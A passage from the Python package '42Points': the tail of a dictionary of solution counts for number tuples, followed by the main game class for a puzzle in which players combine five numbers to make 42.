(5, 12, 13, 13, 13): 1,
(6, 6, 6, 6, 6): 1,
(6, 6, 6, 6, 7): 2,
(6, 6, 6, 6, 8): 1,
(6, 6, 6, 6, 9): 2,
(6, 6, 6, 6, 10): 2,
(6, 6, 6, 6, 11): 2,
(6, 6, 6, 6, 12): 3,
(6, 6, 6, 6, 13): 1,
(6, 6, 6, 7, 7): 8,
(6, 6, 6, 7, 8): 9,
(6, 6, 6, 7, 9): 2,
(6, 6, 6, 7, 10): 2,
(6, 6, 6, 7, 11): 4,
(6, 6, 6, 7, 12): 5,
(6, 6, 6, 7, 13): 9,
(6, 6, 6, 8, 8): 2,
(6, 6, 6, 8, 9): 9,
(6, 6, 6, 8, 10): 3,
(6, 6, 6, 8, 11): 2,
(6, 6, 6, 8, 12): 10,
(6, 6, 6, 8, 13): 4,
(6, 6, 6, 9, 9): 3,
(6, 6, 6, 9, 10): 5,
(6, 6, 6, 9, 11): 5,
(6, 6, 6, 9, 12): 10,
(6, 6, 6, 9, 13): 3,
(6, 6, 6, 10, 10): 1,
(6, 6, 6, 10, 11): 2,
(6, 6, 6, 10, 12): 4,
(6, 6, 6, 10, 13): 2,
(6, 6, 6, 11, 11): 1,
(6, 6, 6, 11, 12): 3,
(6, 6, 6, 11, 13): 4,
(6, 6, 6, 12, 12): 6,
(6, 6, 6, 12, 13): 3,
(6, 6, 6, 13, 13): 2,
(6, 6, 7, 7, 7): 8,
(6, 6, 7, 7, 8): 13,
(6, 6, 7, 7, 9): 4,
(6, 6, 7, 7, 11): 1,
(6, 6, 7, 7, 12): 10,
(6, 6, 7, 7, 13): 2,
(6, 6, 7, 8, 8): 4,
(6, 6, 7, 8, 9): 17,
(6, 6, 7, 8, 10): 7,
(6, 6, 7, 8, 11): 3,
(6, 6, 7, 8, 12): 9,
(6, 6, 7, 8, 13): 8,
(6, 6, 7, 9, 9): 8,
(6, 6, 7, 9, 10): 14,
(6, 6, 7, 9, 11): 4,
(6, 6, 7, 9, 12): 13,
(6, 6, 7, 9, 13): 4,
(6, 6, 7, 10, 10): 7,
(6, 6, 7, 10, 11): 12,
(6, 6, 7, 10, 12): 8,
(6, 6, 7, 10, 13): 2,
(6, 6, 7, 11, 11): 5,
(6, 6, 7, 11, 12): 11,
(6, 6, 7, 11, 13): 6,
(6, 6, 7, 12, 12): 4,
(6, 6, 7, 12, 13): 14,
(6, 6, 7, 13, 13): 7,
(6, 6, 8, 8, 8): 2,
(6, 6, 8, 8, 9): 7,
(6, 6, 8, 8, 10): 8,
(6, 6, 8, 8, 11): 4,
(6, 6, 8, 8, 12): 11,
(6, 6, 8, 8, 13): 2,
(6, 6, 8, 9, 9): 6,
(6, 6, 8, 9, 10): 11,
(6, 6, 8, 9, 11): 8,
(6, 6, 8, 9, 12): 16,
(6, 6, 8, 9, 13): 5,
(6, 6, 8, 10, 10): 6,
(6, 6, 8, 10, 11): 8,
(6, 6, 8, 10, 12): 17,
(6, 6, 8, 10, 13): 7,
(6, 6, 8, 11, 11): 3,
(6, 6, 8, 11, 12): 8,
(6, 6, 8, 11, 13): 5,
(6, 6, 8, 12, 12): 7,
(6, 6, 8, 12, 13): 6,
(6, 6, 8, 13, 13): 1,
(6, 6, 9, 9, 9): 4,
(6, 6, 9, 9, 10): 7,
(6, 6, 9, 9, 11): 8,
(6, 6, 9, 9, 12): 13,
(6, 6, 9, 9, 13): 3,
(6, 6, 9, 10, 10): 2,
(6, 6, 9, 10, 11): 8,
(6, 6, 9, 10, 12): 21,
(6, 6, 9, 10, 13): 7,
(6, 6, 9, 11, 11): 3,
(6, 6, 9, 11, 12): 13,
(6, 6, 9, 11, 13): 6,
(6, 6, 9, 12, 12): 15,
(6, 6, 9, 12, 13): 4,
(6, 6, 9, 13, 13): 1,
(6, 6, 10, 10, 10): 2,
(6, 6, 10, 10, 11): 1,
(6, 6, 10, 10, 12): 12,
(6, 6, 10, 10, 13): 4,
(6, 6, 10, 11, 12): 7,
(6, 6, 10, 11, 13): 5,
(6, 6, 10, 12, 12): 13,
(6, 6, 10, 12, 13): 7,
(6, 6, 10, 13, 13): 1,
(6, 6, 11, 11, 11): 1,
(6, 6, 11, 11, 12): 3,
(6, 6, 11, 11, 13): 2,
(6, 6, 11, 12, 12): 8,
(6, 6, 11, 12, 13): 7,
(6, 6, 11, 13, 13): 1,
(6, 6, 12, 12, 12): 7,
(6, 6, 12, 12, 13): 3,
(6, 6, 12, 13, 13): 5,
(6, 6, 13, 13, 13): 2,
(6, 7, 7, 7, 7): 2,
(6, 7, 7, 7, 8): 13,
(6, 7, 7, 7, 9): 5,
(6, 7, 7, 7, 10): 3,
(6, 7, 7, 7, 11): 3,
(6, 7, 7, 7, 12): 4,
(6, 7, 7, 7, 13): 9,
(6, 7, 7, 8, 8): 8,
(6, 7, 7, 8, 9): 10,
(6, 7, 7, 8, 10): 8,
(6, 7, 7, 8, 11): 5,
(6, 7, 7, 8, 12): 9,
(6, 7, 7, 8, 13): 7,
(6, 7, 7, 9, 9): 8,
(6, 7, 7, 9, 10): 12,
(6, 7, 7, 9, 11): 8,
(6, 7, 7, 9, 12): 10,
(6, 7, 7, 9, 13): 5,
(6, 7, 7, 10, 10): 3,
(6, 7, 7, 10, 11): 12,
(6, 7, 7, 10, 12): 13,
(6, 7, 7, 10, 13): 2,
(6, 7, 7, 11, 11): 5,
(6, 7, 7, 11, 12): 12,
(6, 7, 7, 11, 13): 4,
(6, 7, 7, 12, 12): 4,
(6, 7, 7, 12, 13): 12,
(6, 7, 7, 13, 13): 7,
(6, 7, 8, 8, 8): 5,
(6, 7, 8, 8, 9): 6,
(6, 7, 8, 8, 10): 10,
(6, 7, 8, 8, 11): 4,
(6, 7, 8, 8, 12): 10,
(6, 7, 8, 8, 13): 10,
(6, 7, 8, 9, 9): 9,
(6, 7, 8, 9, 10): 11,
(6, 7, 8, 9, 11): 14,
(6, 7, 8, 9, 12): 21,
(6, 7, 8, 9, 13): 16,
(6, 7, 8, 10, 10): 6,
(6, 7, 8, 10, 11): 14,
(6, 7, 8, 10, 12): 17,
(6, 7, 8, 10, 13): 8,
(6, 7, 8, 11, 11): 6,
(6, 7, 8, 11, 12): 12,
(6, 7, 8, 11, 13): 7,
(6, 7, 8, 12, 12): 15,
(6, 7, 8, 12, 13): 9,
(6, 7, 8, 13, 13): 7,
(6, 7, 9, 9, 9): 6,
(6, 7, 9, 9, 10): 8,
(6, 7, 9, 9, 11): 11,
(6, 7, 9, 9, 12): 13,
(6, 7, 9, 9, 13): 6,
(6, 7, 9, 10, 10): 6,
(6, 7, 9, 10, 11): 9,
(6, 7, 9, 10, 12): 17,
(6, 7, 9, 10, 13): 17,
(6, 7, 9, 11, 11): 4,
(6, 7, 9, 11, 12): 10,
(6, 7, 9, 11, 13): 7,
(6, 7, 9, 12, 12): 15,
(6, 7, 9, 12, 13): 11,
(6, 7, 9, 13, 13): 1,
(6, 7, 10, 10, 10): 3,
(6, 7, 10, 10, 11): 6,
(6, 7, 10, 10, 12): 6,
(6, 7, 10, 10, 13): 5,
(6, 7, 10, 11, 11): 4,
(6, 7, 10, 11, 12): 16,
(6, 7, 10, 11, 13): 8,
(6, 7, 10, 12, 12): 16,
(6, 7, 10, 12, 13): 11,
(6, 7, 10, 13, 13): 3,
(6, 7, 11, 11, 11): 3,
(6, 7, 11, 11, 12): 6,
(6, 7, 11, 11, 13): 7,
(6, 7, 11, 12, 12): 8,
(6, 7, 11, 12, 13): 13,
(6, 7, 11, 13, 13): 4,
(6, 7, 12, 12, 12): 7,
(6, 7, 12, 12, 13): 9,
(6, 7, 12, 13, 13): 5,
(6, 7, 13, 13, 13): 6,
(6, 8, 8, 8, 8): 2,
(6, 8, 8, 8, 9): 2,
(6, 8, 8, 8, 10): 5,
(6, 8, 8, 8, 11): 3,
(6, 8, 8, 8, 12): 4,
(6, 8, 8, 8, 13): 3,
(6, 8, 8, 9, 10): 6,
(6, 8, 8, 9, 11): 7,
(6, 8, 8, 9, 12): 16,
(6, 8, 8, 9, 13): 4,
(6, 8, 8, 10, 10): 5,
(6, 8, 8, 10, 11): 4,
(6, 8, 8, 10, 12): 12,
(6, 8, 8, 10, 13): 6,
(6, 8, 8, 11, 11): 1,
(6, 8, 8, 11, 12): 7,
(6, 8, 8, 11, 13): 6,
(6, 8, 8, 12, 12): 6,
(6, 8, 8, 12, 13): 6,
(6, 8, 8, 13, 13): 1,
(6, 8, 9, 9, 9): 4,
(6, 8, 9, 9, 10): 8,
(6, 8, 9, 9, 11): 8,
(6, 8, 9, 9, 12): 12,
(6, 8, 9, 9, 13): 5,
(6, 8, 9, 10, 10): 7,
(6, 8, 9, 10, 11): 8,
(6, 8, 9, 10, 12): 18,
(6, 8, 9, 10, 13): 9,
(6, 8, 9, 11, 11): 9,
(6, 8, 9, 11, 12): 7,
(6, 8, 9, 11, 13): 12,
(6, 8, 9, 12, 12): 19,
(6, 8, 9, 12, 13): 10,
(6, 8, 9, 13, 13): 2,
(6, 8, 10, 10, 10): 5,
(6, 8, 10, 10, 11): 8,
(6, 8, 10, 10, 12): 11,
(6, 8, 10, 10, 13): 4,
(6, 8, 10, 11, 11): 3,
(6, 8, 10, 11, 12): 14,
(6, 8, 10, 11, 13): 10,
(6, 8, 10, 12, 12): 17,
(6, 8, 10, 12, 13): 13,
(6, 8, 10, 13, 13): 5,
(6, 8, 11, 11, 11): 1,
(6, 8, 11, 11, 12): 6,
(6, 8, 11, 11, 13): 4,
(6, 8, 11, 12, 12): 15,
(6, 8, 11, 12, 13): 5,
(6, 8, 11, 13, 13): 2,
(6, 8, 12, 12, 12): 10,
(6, 8, 12, 12, 13): 7,
(6, 8, 12, 13, 13): 3,
(6, 8, 13, 13, 13): 1,
(6, 9, 9, 9, 9): 2,
(6, 9, 9, 9, 10): 1,
(6, 9, 9, 9, 11): 4,
(6, 9, 9, 9, 12): 3,
(6, 9, 9, 9, 13): 9,
(6, 9, 9, 10, 10): 1,
(6, 9, 9, 10, 11): 5,
(6, 9, 9, 10, 12): 11,
(6, 9, 9, 10, 13): 5,
(6, 9, 9, 11, 11): 4,
(6, 9, 9, 11, 12): 11,
(6, 9, 9, 11, 13): 4,
(6, 9, 9, 12, 12): 7,
(6, 9, 9, 12, 13): 9,
(6, 9, 9, 13, 13): 2,
(6, 9, 10, 10, 10): 1,
(6, 9, 10, 10, 11): 3,
(6, 9, 10, 10, 12): 10,
(6, 9, 10, 10, 13): 5,
(6, 9, 10, 11, 11): 3,
(6, 9, 10, 11, 12): 12,
(6, 9, 10, 11, 13): 17,
(6, 9, 10, 12, 12): 8,
(6, 9, 10, 12, 13): 9,
(6, 9, 10, 13, 13): 4,
(6, 9, 11, 11, 11): 2,
(6, 9, 11, 11, 12): 4,
(6, 9, 11, 11, 13): 5,
(6, 9, 11, 12, 12): 10,
(6, 9, 11, 12, 13): 13,
(6, 9, 11, 13, 13): 1,
(6, 9, 12, 12, 12): 11,
(6, 9, 12, 12, 13): 11,
(6, 9, 12, 13, 13): 2,
(6, 9, 13, 13, 13): 4,
(6, 10, 10, 10, 12): 4,
(6, 10, 10, 10, 13): 1,
(6, 10, 10, 11, 11): 1,
(6, 10, 10, 11, 12): 4,
(6, 10, 10, 11, 13): 5,
(6, 10, 10, 12, 12): 5,
(6, 10, 10, 12, 13): 9,
(6, 10, 10, 13, 13): 1,
(6, 10, 11, 11, 11): 1,
(6, 10, 11, 11, 12): 2,
(6, 10, 11, 11, 13): 2,
(6, 10, 11, 12, 12): 5,
(6, 10, 11, 12, 13): 7,
(6, 10, 11, 13, 13): 6,
(6, 10, 12, 12, 12): 6,
(6, 10, 12, 12, 13): 14,
(6, 10, 12, 13, 13): 5,
(6, 10, 13, 13, 13): 1,
(6, 11, 11, 11, 13): 2,
(6, 11, 11, 12, 12): 2,
(6, 11, 11, 12, 13): 6,
(6, 11, 11, 13, 13): 2,
(6, 11, 12, 12, 12): 2,
(6, 11, 12, 12, 13): 7,
(6, 11, 12, 13, 13): 5,
(6, 11, 13, 13, 13): 1,
(6, 12, 12, 12, 12): 1,
(6, 12, 12, 12, 13): 1,
(7, 7, 7, 7, 7): 1,
(7, 7, 7, 7, 8): 4,
(7, 7, 7, 7, 9): 3,
(7, 7, 7, 7, 11): 2,
(7, 7, 7, 7, 12): 2,
(7, 7, 7, 7, 13): 1,
(7, 7, 7, 8, 8): 2,
(7, 7, 7, 8, 9): 2,
(7, 7, 7, 8, 10): 3,
(7, 7, 7, 8, 11): 1,
(7, 7, 7, 8, 12): 3,
(7, 7, 7, 8, 13): 6,
(7, 7, 7, 9, 9): 1,
(7, 7, 7, 9, 10): 5,
(7, 7, 7, 9, 11): 4,
(7, 7, 7, 9, 12): 7,
(7, 7, 7, 9, 13): 3,
(7, 7, 7, 10, 10): 2,
(7, 7, 7, 10, 11): 5,
(7, 7, 7, 10, 12): 3,
(7, 7, 7, 10, 13): 1,
(7, 7, 7, 11, 11): 1,
(7, 7, 7, 11, 12): 2,
(7, 7, 7, 11, 13): 3,
(7, 7, 7, 12, 12): 2,
(7, 7, 7, 12, 13): 1,
(7, 7, 7, 13, 13): 2,
(7, 7, 8, 8, 8): 4,
(7, 7, 8, 8, 9): 3,
(7, 7, 8, 8, 10): 3,
(7, 7, 8, 8, 11): 2,
(7, 7, 8, 8, 12): 4,
(7, 7, 8, 8, 13): 3,
(7, 7, 8, 9, 9): 2,
(7, 7, 8, 9, 10): 8,
(7, 7, 8, 9, 11): 8,
(7, 7, 8, 9, 12): 8,
(7, 7, 8, 9, 13): 3,
(7, 7, 8, 10, 10): 7,
(7, 7, 8, 10, 11): 8,
(7, 7, 8, 10, 12): 7,
(7, 7, 8, 10, 13): 7,
(7, 7, 8, 11, 11): 3,
(7, 7, 8, 11, 12): 3,
(7, 7, 8, 11, 13): 4,
(7, 7, 8, 12, 12): 5,
(7, 7, 8, 12, 13): 5,
(7, 7, 8, 13, 13): 4,
(7, 7, 9, 9, 9): 1,
(7, 7, 9, 9, 10): 4,
(7, 7, 9, 9, 11): 2,
(7, 7, 9, 9, 12): 9,
(7, 7, 9, 9, 13): 3,
(7, 7, 9, 10, 10): 1,
(7, 7, 9, 10, 11): 5,
(7, 7, 9, 10, 12): 8,
(7, 7, 9, 10, 13): 5,
(7, 7, 9, 11, 11): 4,
(7, 7, 9, 11, 12): 6,
(7, 7, 9, 11, 13): 6,
(7, 7, 9, 12, 12): 4,
(7, 7, 9, 12, 13): 2,
(7, 7, 10, 10, 10): 1,
(7, 7, 10, 10, 11): 3,
(7, 7, 10, 10, 12): 4,
(7, 7, 10, 10, 13): 5,
(7, 7, 10, 11, 12): 5,
(7, 7, 10, 11, 13): 5,
(7, 7, 10, 12, 12): 3,
(7, 7, 10, 12, 13): 3,
(7, 7, 10, 13, 13): 1,
(7, 7, 11, 11, 11): 1,
(7, 7, 11, 11, 12): 1,
(7, 7, 11, 11, 13): 3,
(7, 7, 11, 12, 12): 3,
(7, 7, 11, 12, 13): 4,
(7, 7, 11, 13, 13): 1,
(7, 7, 12, 12, 12): 2,
(7, 7, 12, 12, 13): 2,
(7, 7, 12, 13, 13): 2,
(7, 7, 13, 13, 13): 2,
(7, 8, 8, 8, 8): 1,
(7, 8, 8, 8, 11): 1,
(7, 8, 8, 8, 12): 3,
(7, 8, 8, 8, 13): 3,
(7, 8, 8, 9, 9): 1,
(7, 8, 8, 9, 10): 6,
(7, 8, 8, 9, 11): 3,
(7, 8, 8, 9, 12): 4,
(7, 8, 8, 9, 13): 7,
(7, 8, 8, 10, 10): 5,
(7, 8, 8, 10, 11): 4,
(7, 8, 8, 10, 12): 8,
(7, 8, 8, 10, 13): 3,
(7, 8, 8, 11, 11): 4,
(7, 8, 8, 11, 13): 3,
(7, 8, 8, 12, 12): 1,
(7, 8, 8, 12, 13): 2,
(7, 8, 8, 13, 13): 1,
(7, 8, 9, 9, 9): 2,
(7, 8, 9, 9, 10): 2,
(7, 8, 9, 9, 11): 2,
(7, 8, 9, 9, 12): 8,
(7, 8, 9, 9, 13): 4,
(7, 8, 9, 10, 10): 4,
(7, 8, 9, 10, 11): 8,
(7, 8, 9, 10, 12): 14,
(7, 8, 9, 10, 13): 10,
(7, 8, 9, 11, 11): 2,
(7, 8, 9, 11, 12): 15,
(7, 8, 9, 11, 13): 4,
(7, 8, 9, 12, 12): 9,
(7, 8, 9, 12, 13): 8,
(7, 8, 9, 13, 13): 2,
(7, 8, 10, 10, 10): 2,
(7, 8, 10, 10, 11): 2,
(7, 8, 10, 10, 12): 8,
(7, 8, 10, 10, 13): 7,
(7, 8, 10, 11, 11): 5,
(7, 8, 10, 11, 12): 8,
(7, 8, 10, 11, 13): 16,
(7, 8, 10, 12, 12): 10,
(7, 8, 10, 12, 13): 7,
(7, 8, 10, 13, 13): 3,
(7, 8, 11, 11, 11): 1,
(7, 8, 11, 11, 12): 1,
(7, 8, 11, 11, 13): 5,
(7, 8, 11, 12, 12): 1,
(7, 8, 11, 12, 13): 9,
(7, 8, 11, 13, 13): 1,
(7, 8, 12, 12, 12): 4,
(7, 8, 12, 12, 13): 5,
(7, 8, 12, 13, 13): 5,
(7, 8, 13, 13, 13): 4,
(7, 9, 9, 9, 12): 7,
(7, 9, 9, 10, 10): 1,
(7, 9, 9, 10, 11): 3,
(7, 9, 9, 10, 12): 5,
(7, 9, 9, 10, 13): 10,
(7, 9, 9, 11, 11): 1,
(7, 9, 9, 11, 12): 5,
(7, 9, 9, 11, 13): 6,
(7, 9, 9, 12, 12): 7,
(7, 9, 9, 12, 13): 3,
(7, 9, 9, 13, 13): 1,
(7, 9, 10, 10, 11): 1,
(7, 9, 10, 10, 12): 6,
(7, 9, 10, 10, 13): 2,
(7, 9, 10, 11, 11): 7,
(7, 9, 10, 11, 12): 10,
(7, 9, 10, 11, 13): 4,
(7, 9, 10, 12, 12): 6,
(7, 9, 10, 12, 13): 13,
(7, 9, 10, 13, 13): 1,
(7, 9, 11, 11, 11): 1,
(7, 9, 11, 11, 12): 5,
(7, 9, 11, 11, 13): 2,
(7, 9, 11, 12, 12): 6,
(7, 9, 11, 12, 13): 5,
(7, 9, 11, 13, 13): 5,
(7, 9, 12, 12, 12): 2,
(7, 9, 12, 12, 13): 5,
(7, 9, 12, 13, 13): 3,
(7, 10, 10, 10, 12): 3,
(7, 10, 10, 10, 13): 1,
(7, 10, 10, 11, 12): 5,
(7, 10, 10, 11, 13): 4,
(7, 10, 10, 12, 12): 1,
(7, 10, 10, 12, 13): 3,
(7, 10, 10, 13, 13): 5,
(7, 10, 11, 11, 12): 2,
(7, 10, 11, 11, 13): 4,
(7, 10, 11, 12, 12): 4,
(7, 10, 11, 12, 13): 7,
(7, 10, 11, 13, 13): 2,
(7, 10, 12, 12, 12): 3,
(7, 10, 12, 12, 13): 2,
(7, 10, 12, 13, 13): 7,
(7, 10, 13, 13, 13): 2,
(7, 11, 11, 11, 12): 1,
(7, 11, 11, 11, 13): 2,
(7, 11, 11, 12, 12): 1,
(7, 11, 11, 12, 13): 5,
(7, 11, 11, 13, 13): 3,
(7, 11, 12, 12, 13): 8,
(7, 11, 12, 13, 13): 1,
(7, 12, 12, 12, 12): 1,
(7, 12, 12, 12, 13): 1,
(7, 12, 13, 13, 13): 1,
(8, 8, 8, 8, 10): 1,
(8, 8, 8, 8, 12): 1,
(8, 8, 8, 8, 13): 1,
(8, 8, 8, 9, 9): 1,
(8, 8, 8, 9, 10): 1,
(8, 8, 8, 9, 12): 2,
(8, 8, 8, 9, 13): 1,
(8, 8, 8, 10, 10): 2,
(8, 8, 8, 10, 11): 4,
(8, 8, 8, 10, 12): 3,
(8, 8, 8, 10, 13): 2,
(8, 8, 8, 11, 11): 1,
(8, 8, 8, 11, 12): 1,
(8, 8, 8, 11, 13): 1,
(8, 8, 8, 12, 12): 1,
(8, 8, 8, 12, 13): 1,
(8, 8, 9, 9, 11): 3,
(8, 8, 9, 9, 12): 1,
(8, 8, 9, 9, 13): 1,
(8, 8, 9, 10, 11): 4,
(8, 8, 9, 10, 12): 8,
(8, 8, 9, 10, 13): 3,
(8, 8, 9, 11, 11): 2,
(8, 8, 9, 11, 12): 1,
(8, 8, 9, 11, 13): 8,
(8, 8, 9, 12, 12): 3,
(8, 8, 9, 12, 13): 1,
(8, 8, 9, 13, 13): 1,
(8, 8, 10, 10, 10): 1,
(8, 8, 10, 10, 12): 5,
(8, 8, 10, 10, 13): 4,
(8, 8, 10, 11, 11): 1,
(8, 8, 10, 11, 12): 7,
(8, 8, 10, 11, 13): 3,
(8, 8, 10, 12, 12): 2,
(8, 8, 10, 12, 13): 8,
(8, 8, 10, 13, 13): 3,
(8, 8, 11, 11, 11): 1,
(8, 8, 11, 11, 13): 3,
(8, 8, 11, 13, 13): 2,
(8, 8, 12, 12, 12): 2,
(8, 8, 12, 12, 13): 1,
(8, 9, 9, 9, 12): 3,
(8, 9, 9, 9, 13): 1,
(8, 9, 9, 10, 11): 1,
(8, 9, 9, 10, 12): 5,
(8, 9, 9, 10, 13): 3,
(8, 9, 9, 11, 11): 1,
(8, 9, 9, 11, 12): 4,
(8, 9, 9, 11, 13): 4,
(8, 9, 9, 12, 12): 2,
(8, 9, 9, 12, 13): 7,
(8, 9, 10, 10, 10): 1,
(8, 9, 10, 10, 11): 3,
(8, 9, 10, 10, 12): 2,
(8, 9, 10, 10, 13): 4,
(8, 9, 10, 11, 11): 1,
(8, 9, 10, 11, 12): 4,
(8, 9, 10, 11, 13): 6,
(8, 9, 10, 12, 12): 12,
(8, 9, 10, 12, 13): 1,
(8, 9, 10, 13, 13): 3,
(8, 9, 11, 11, 11): 1,
(8, 9, 11, 11, 12): 5,
(8, 9, 11, 11, 13): 1,
(8, 9, 11, 12, 12): 6,
(8, 9, 11, 12, 13): 7,
(8, 9, 11, 13, 13): 3,
(8, 9, 12, 12, 13): 1,
(8, 10, 10, 10, 11): 1,
(8, 10, 10, 10, 12): 2,
(8, 10, 10, 10, 13): 1,
(8, 10, 10, 11, 11): 1,
(8, 10, 10, 11, 12): 4,
(8, 10, 10, 11, 13): 5,
(8, 10, 10, 12, 12): 3,
(8, 10, 10, 12, 13): 5,
(8, 10, 10, 13, 13): 1,
(8, 10, 11, 11, 13): 3,
(8, 10, 11, 12, 12): 4,
(8, 10, 11, 12, 13): 6,
(8, 10, 11, 13, 13): 5,
(8, 10, 12, 12, 12): 4,
(8, 10, 12, 12, 13): 1,
(8, 10, 12, 13, 13): 3,
(8, 10, 13, 13, 13): 1,
(8, 11, 11, 11, 13): 2,
(8, 11, 11, 12, 13): 3,
(8, 11, 11, 13, 13): 1,
(8, 11, 12, 12, 13): 5,
(8, 11, 12, 13, 13): 5,
(8, 11, 13, 13, 13): 3,
(8, 12, 12, 12, 12): 1,
(8, 12, 12, 12, 13): 2,
(8, 12, 12, 13, 13): 1,
(8, 13, 13, 13, 13): 1,
(9, 9, 9, 9, 12): 1,
(9, 9, 9, 10, 11): 1,
(9, 9, 9, 10, 12): 1,
(9, 9, 9, 11, 12): 3,
(9, 9, 9, 12, 12): 2,
(9, 9, 9, 12, 13): 4,
(9, 9, 10, 11, 12): 2,
(9, 9, 10, 11, 13): 4,
(9, 9, 10, 12, 12): 2,
(9, 9, 10, 12, 13): 4,
(9, 9, 10, 13, 13): 4,
(9, 9, 11, 11, 11): 1,
(9, 9, 11, 11, 12): 2,
(9, 9, 11, 11, 13): 2,
(9, 9, 11, 12, 12): 3,
(9, 9, 11, 12, 13): 4,
(9, 9, 11, 13, 13): 1,
(9, 9, 12, 12, 13): 1,
(9, 9, 12, 13, 13): 1,
(9, 9, 13, 13, 13): 1,
(9, 10, 10, 10, 12): 1,
(9, 10, 10, 11, 11): 2,
(9, 10, 10, 11, 12): 2,
(9, 10, 10, 12, 12): 1,
(9, 10, 10, 12, 13): 5,
(9, 10, 10, 13, 13): 1,
(9, 10, 11, 11, 11): 2,
(9, 10, 11, 11, 12): 2,
(9, 10, 11, 11, 13): 5,
(9, 10, 11, 12, 12): 3,
(9, 10, 11, 12, 13): 6,
(9, 10, 11, 13, 13): 3,
(9, 10, 12, 12, 12): 5,
(9, 10, 12, 12, 13): 3,
(9, 10, 12, 13, 13): 3,
(9, 10, 13, 13, 13): 1,
(9, 11, 11, 11, 12): 1,
(9, 11, 11, 11, 13): 1,
(9, 11, 11, 12, 13): 3,
(9, 11, 11, 13, 13): 2,
(9, 11, 12, 12, 13): 4,
(9, 12, 12, 12, 12): 1,
(9, 12, 12, 12, 13): 1,
(9, 12, 12, 13, 13): 3,
(9, 12, 13, 13, 13): 3,
(10, 10, 10, 10, 11): 1,
(10, 10, 10, 11, 12): 2,
(10, 10, 10, 12, 12): 1,
(10, 10, 10, 12, 13): 1,
(10, 10, 10, 13, 13): 1,
(10, 10, 11, 11, 12): 2,
(10, 10, 11, 11, 13): 1,
(10, 10, 11, 12, 13): 2,
(10, 10, 11, 13, 13): 1,
(10, 10, 12, 12, 13): 3,
(10, 10, 12, 13, 13): 2,
(10, 10, 13, 13, 13): 1,
(10, 11, 11, 11, 11): 1,
(10, 11, 11, 11, 13): 1,
(10, 11, 11, 12, 13): 2,
(10, 11, 11, 13, 13): 2,
(10, 11, 12, 12, 12): 2,
(10, 11, 12, 13, 13): 2,
(10, 11, 13, 13, 13): 2,
(10, 12, 12, 12, 13): 1,
(10, 12, 12, 13, 13): 1,
(10, 12, 13, 13, 13): 1,
(10, 13, 13, 13, 13): 2
}
|
42Points
|
/42Points-1.2.7-py3-none-any.whl/ftptsgame/database.py
|
database.py
|
"""Main module of this project."""
import datetime
from .expr_utils import Node, build_node
from .problem_utils import Problem
class FTPtsGame(object):
"""
The main game.
Available methods (+ means playing, - means not playing):
__init__(): initialization. (Entry point)
is_playing(): show the status of current game. (+-)
generate_problem(): generate a problem manually. (-)
get_elapsed_time(): get the time elapsed during the game. (+)
get_current_problem(): get current problem (tuple). (+)
get_current_solutions(): get current solutions (list). (+)
get_current_solution_number(): print current solution number. (+)
get_total_solution_number(): print total solution number. (+)
start(): start the game. (-)
stop(): stop the game. (+)
solve(): put forward a solution and show solution intervals. (+)
"""
def __init__(self):
"""Start the game session, serving as an initialization."""
self.__valid = [] # this list stores readable answers
self.__formula = [] # this list stores converted formulas
self.__players = [] # this list stores player statistics
self.__playing = False # this stores playing status
def __status_check(self, required_status: bool = True):
"""A status checker."""
if required_status != self.is_playing():
raise PermissionError('Required status: %s' % required_status)
def is_playing(self) -> bool:
"""Indicate the game is started or not."""
return self.__playing
def get_elapsed_time(self) -> datetime.timedelta:
"""Get elapsed time between solutions. Effective when playing."""
self.__status_check(required_status=True)
elapsed = datetime.datetime.now() - self.__timer
return elapsed
def generate_problem(self, problem, target=42):
"""Generate a problem manually."""
self.__status_check(required_status=False)
self.__target = target
self.__problem = tuple(sorted(problem))
self.__problem_class = Problem(list(self.__problem))
self.__problem_class.generate_answers(self.__target)
if len(self.__problem_class.distinct_answer_table) == 0:
raise ValueError('No solution found.')
def get_current_target(self) -> int:
"""Get current target. Effective when playing."""
self.__status_check(required_status=True)
return self.__target
def get_current_problem(self) -> tuple:
"""Get current problem. Effective when playing."""
self.__status_check(required_status=True)
return self.__problem
def get_current_solutions(self) -> list:
"""Get current valid solutions. Effective when playing."""
self.__status_check(required_status=True)
return self.__valid
def get_current_solution_number(self) -> int:
"""Get the number of current solutions. Effective when playing."""
self.__status_check(required_status=True)
return len(self.__valid)
def get_total_solution_number(self) -> int:
"""Get the number of total solutions. Effective when playing."""
self.__status_check(required_status=True)
return len(self.__problem_class.distinct_answer_table)
def get_remaining_solutions(self) -> list:
"""Get remaining solutions. Effective when playing."""
self.__status_check(required_status=True)
current_solution_set = set()
for expr_str in self.__valid:
node = build_node(expr_str)
current_solution_set.add(self.__problem_class.equivalence_dict[node.unique_id()])
return_list = []
for expr in self.__problem_class.distinct_answer_table:
if self.__problem_class.equivalence_dict[expr.unique_id()] not in current_solution_set:
return_list.append(str(expr))
return return_list
def get_current_player_statistics(self) -> list:
"""Get current player statistics. Effective when playing."""
self.__status_check(required_status=True)
return self.__players
def __validate_repeated(self, node: Node):
"""Validate distinguishing expressions. Private method."""
class_id = self.__problem_class.equivalence_dict[node.unique_id()]
for ind in range(0, len(self.__formula)):
cmp_node = self.__formula[ind]
cmp_class_id = self.__problem_class.equivalence_dict[cmp_node.unique_id()]
if cmp_class_id == class_id:
raise LookupError(self.__valid[ind])
def solve(self, math_expr: str, player_id: int = -1) -> datetime.timedelta:
"""Put forward a solution and show solution intervals if correct."""
self.__status_check(required_status=True)
replace_table = [
('×', '*'),
('x', '*'),
('÷', '/'),
(' ', ''),
('\n', ''),
('\r', ''),
('(', '('),
(')', ')'),
]
for src, dest in replace_table:
math_expr = math_expr.replace(src, dest)
if len(math_expr) >= 30:
raise OverflowError('Maximum parsing length exceeded.')
node = build_node(math_expr)
user_input_numbers = node.extract()
if tuple(sorted(user_input_numbers)) != self.__problem:
raise ValueError('Unmatched input numbers.')
math_expr_value = node.evaluate()
if math_expr_value != self.__target:
raise ArithmeticError(str(math_expr_value))
self.__validate_repeated(node)
self.__formula.append(node)
self.__valid.append(math_expr)
elapsed = self.get_elapsed_time()
interval = elapsed - self.__last
self.__last = elapsed
self.__players.append((player_id, interval))
return interval
def start(self):
"""Start the game. Effective when not playing."""
self.__status_check(required_status=False)
self.__valid = []
self.__formula = []
self.__players = []
self.__timer = datetime.datetime.now()
self.__last = datetime.timedelta(seconds=0) # A tag for each solution.
self.__playing = True
def stop(self) -> datetime.timedelta:
"""Stop the game. Effective when playing."""
self.__status_check(required_status=True)
elapsed = self.get_elapsed_time()
self.__playing = False
return elapsed
|
42Points
|
/42Points-1.2.7-py3-none-any.whl/ftptsgame/__init__.py
|
__init__.py
|
"""Exception classes used in the package."""
